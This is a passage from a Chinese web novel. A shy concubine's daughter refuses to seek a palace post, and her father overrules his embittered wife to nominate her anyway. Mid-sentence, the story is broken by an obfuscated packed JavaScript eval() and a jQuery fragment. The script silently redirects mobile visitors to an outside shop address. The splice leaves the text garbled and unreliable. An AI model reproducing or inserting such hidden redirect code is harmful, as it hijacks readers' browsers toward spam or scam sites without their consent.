嘉禾恍惚了片刻。
原来像他这种身份的人,选起王妃来是这样选的,是金枝玉叶还不行,还要通过层层筛选,等进了宫再被考验一番。
心底泛起淡淡的苦涩。王氏说的没错,她真是不知天高地厚,竟敢肖想他。
嘉禾收回思绪,笑着对芷蓉说:“的确是千载难逢的好机会,你若是也想去的话,不妨去求求母亲?母亲向来也疼你的。”
这话却换来芷蓉一声冷笑。
“她疼我?做慈母的样子罢了,心里不知有多怕我挡了她那宝贝闺女的道呢!她才不会让我进宫。”
嘉禾干笑两声。她后来才听说,看马球那日,芷蓉回府后也被王氏斥责了,她当时还想不通,如今却隐隐有些明白了。
她不由劝道:“大姐姐是母亲心尖上的人,咱们做庶妹的,尽量别抢她风头……”
芷蓉却道:“我偏要抢她风头。”
嘉禾摸摸鼻子,芷蓉从来不是个甘于人下的,从小就处处要跟温舒月比,她说再多也是无用,便岔开话题聊起别的。
芷蓉心情不佳,聊了两句便起身回去了。
嘉禾拿起书正准备继续读,玉棠趿拉着鞋过来,停在书案前,问:“二姑娘说的侍读这事,你也去跟姨娘说说,让姨娘带着你去求求夫人吧。”
嘉禾翻书的手顿了一下,然后轻轻摇头:“这么好的机会怎么可能轮得上我,还是不要白费功夫了。”
玉棠不依不饶,“……可那日九殿下不仅留意到你了,还肯帮你说话,说不定他对你有好感,你的名字递上去,他就让皇后娘娘留下了呢。”
嘉禾低头看着书页,心底仿佛有一棵幼芽,奋力向上挣扎着,想要破土而出。
她闭上眼,深吸口气,片刻,睁眼看着玉棠,眼里一片清明。
“玉棠,我实话跟你说吧,九殿下就是那日我在东街碰到的那位贵人。”
玉棠瞬间瞪大了眼。
“可那天在彩棚里,他帮我说话的时候,分明是没有认出我。”
嘉禾唉了声,笑容里颇有几分自我调侃的意味,“你应该明白了吧,我这样不起眼的小姑娘,即便他已经见过我两面,也是完全不记得我的模样的,又怎么可能会去让皇后娘娘留下我?只怕他连我的名字是什么都没留意过——”
玉棠一口打断她:“你怎么会这么想?”
嘉禾一愣。
玉棠的眼睛突然变得更加明亮热切,仿佛有一簇火焰噌地燃了起来,她在书案前不住地来回踱步,激动地道:“你怎么不早说!原来九殿下就是东街的贵人,他帮了你两次!这说明什么?说明你合他眼缘啊!快快快,起来,趁着时辰还不算晚,我现在就陪你去找姨娘……”
玉棠一把把她从椅子里拎起来,拽着她手腕就要往门口拖去。
嘉禾没料到她都这么说了,玉棠反而更加坚持,被她带着往前走了两步,回过神来之后,脚下便如生了根,纹丝不动了,“我不想去。”
玉棠回头看她:“为什么啊,这是多好的机会!”
嘉禾盯着案上烛光黯淡的烛台,一只小小的蛾子正在摇晃的火苗上飞舞,烛台下散落着几只蛾子焦黑的身体。
她一字字道:“我说了,母亲不会同意,九殿下更不可能记得我名字。”
玉棠心急如焚,一把甩开她的手,“你就试一下又能怎样,万一呢!”
嘉禾忽然抬起头。
然后玉棠便看到,这个从来心性软弱,性格柔顺,任人揉扁搓圆的少女,红着眼圈,眼瞳如野火,燃烧起前所未有的坚决执拗,“没有万一!你别说了,我就不去。”
玉棠盯她良久,最后说:“你就是烂泥扶不上墙。”
砰的一声巨响,玉棠摔门离去。
石榴原本盘腿坐在榻上,这会儿也站了起来,双手揪着衣角,紧张地看着她。
嘉禾浑若无事似的,轻快地朝她眨眨眼:“又使性子呢,别管她,睡一觉就又好了。”
石榴懵懵点了点头。
嘉禾坐回桌前,拿起书一页一页地翻到之前读到的位置,面容渐渐归于刻骨的平静。
夫人说了,九殿下帮她是因为殿下仁慈善良,她若因此生了不该有的念头,那就是给整个温家丢脸,让父亲母亲蒙羞。
她不想再自取其辱了。
看了一会儿,毫无预兆的,大颗大颗的泪水无声滚落在书页上,一滴一滴接连落下,很快重叠在一起,浸湿层层纸面。
嘉禾抬起袖子拭去泪,指尖翻过一页。
-
夜半时分,主院的丫鬟正侍奉着王氏就寝,忽然一阵优缓的脚步声由远及近,丫鬟们还未反应过来,便见温玉昌的身影出现在了隔断后。
丫鬟们又惊又喜,手忙脚乱围上去帮温玉昌脱靴更衣。一时间,屋内请安声倒水声开门声脚步声蜂拥而起,热闹轻快。王氏却是坐在镜奁前端然不动,只转头扫了一眼,淡淡说:“你们下去吧。”
丫鬟们齐齐停下动作,面面相觑,最后也只好依言退出去。门扇开合间,幽凉晚风入户,将男人身上混杂着几缕淡淡的脂粉气味的酒气送了过来。
王氏只当没闻见。官场之中,在外面交际应酬,莺环燕绕总免不了的。最初成婚那两年,她放心不下,曾差人悄悄跟过几次,发现温玉昌只是逢场作戏,在外面没过女人,便知道他是个有分寸的,渐渐安了心。
后来即便她一直没生出嫡子来,温玉昌也没提过再纳新人的事,这么多年下来,除了去世的方姨娘,府中也一直只有赵氏白氏两个妾室,通房更从未有过。
温玉昌给了她作为主母的体面,这让她安心。
王氏执着象牙梳对镜慢慢篦头,“老爷深夜过来,有事?”
温玉昌常年住在外院的书房,一年到头也不会进这屋子几趟,这个时候过来,只能是有家务事找她这个夫人商量。
温玉昌撩袍坐下,自顾自斟茶,“伴读一事,夫人准备送几姑娘入宫?”
王氏没掩住神色,意外地回头望了男人一眼:“宫里比不得别的地方,论言行举止,论身份,只有舒月最合适。”
“舒月自然可以,但皇后娘娘的意思是每家可推举两人,”温玉昌啜了口茶,漫不经心道,“把三姐儿的名字也递上去吧。”
王氏握着篦子的手倏然一紧,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683900|206909||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
未来得及细细思量,淬冰似的话语已然出口,“恕妾身没听明白老爷的意思,三姐儿模样规矩都一般,行事畏首畏尾,半点心眼儿也没有,把她送进宫,老爷是嫌我武安伯府过得太安生——”
砰!
温玉昌突然将手中茶盏往案几上重重一坠,茶水剧烈晃动,泼出一片水渍。
温玉昌抬起手,水珠沿着他修长骨瘦的手指流下,他不急不缓地从旁拿了帕子,一根手指一根手指地擦过去,淡淡地开口,语气却是不容置疑的。
“三姐儿必须入宫。”
王氏愣了愣,面上却不见惊慌,反而慢慢抿出笑来,笑吟吟说:“原来老爷已经打算好了,不是来同我商量的,而是来告知我的,哎,老爷早说不得了。”
温玉昌站起身,拂了拂袖子,“你明白就好。”
王氏又笑着唤住他:“九殿下只是偶然帮三姐儿说了几句话,仅此一次,之后也没再派人打听过三姐儿,老爷是不是想多了?”
温玉昌负手背对着她,语气无波无澜,“我已派人查过,惊蛰那日,九殿下曾和周云熙去过东街,在那耽搁了日头,才没赶上长公主的宴席。”
王氏愣了一下,脸色瞬间变得难看至极。
温玉昌道:“三姐儿的名字递上去,皇后娘娘若留下她,是她的造化,若没留她,也就谈不上什么给府里招来灾祸。”
顿了顿,他侧过脸来,温和道:“父亲虽然已经过身,但请夫人不要忘了,当年若非是我,父亲也不会仗义出手营救岳丈,这个家如今也是我在当,我做事自有我的考量,夫人日后毋庸多言,照做便是。”
王氏笑着起身,温婉福了一礼:“是,妾身晓得。”
温玉昌迈着方步,推门而出。
脚步声远去,王氏独立镜前,脸上笑意不见踪影,握着象牙箅的手微微颤抖,手背上青筋凸起。
直至脚步声消失,里外俱寂,她扬手狠狠把梳篦往地上砸去。
啪的一声,上好的象牙白梳篦砸了个粉碎。
王氏坐在绣墩上,脸色晦暗,胸口起伏。
她是嫡长女!
若非当年议亲时父亲获罪,她堂堂晋国公府大小姐何至于下嫁给温玉昌这个文不举武不就的草包庶子!
后来在公爹,也就是温玉昌父亲的牵线奔走之下,父亲终于重获圣宠,官复原职,而她一众庶妹借着这把青风扶摇直上,嫁的人家个个强过她百倍。
而温玉昌呢,二十年了,二十年过去,他温玉昌竟还只是个五品小官,于官途上毫无进益,她出门听人称她温夫人,都恨不得捂脸遁走!
次次回娘家省亲,她眼看这些原本身份大不如她的庶妹穿戴着远胜过她的贵重首饰,招摇过堂,话里话外或炫耀,或挖苦讽刺,一颗心都在滴血。
回到温家,还要日日听温玉昌动不动把“当年若非我父亲如何如何”挂在嘴边,挟恩自重。
她不甘心啊!
可她肚子不争气,没生下嫡子,只有温舒月一个女儿。
温舒月是她唯一的指望。
王氏眸色沉沉。
谁挡了温舒月的路,就是在要她的命。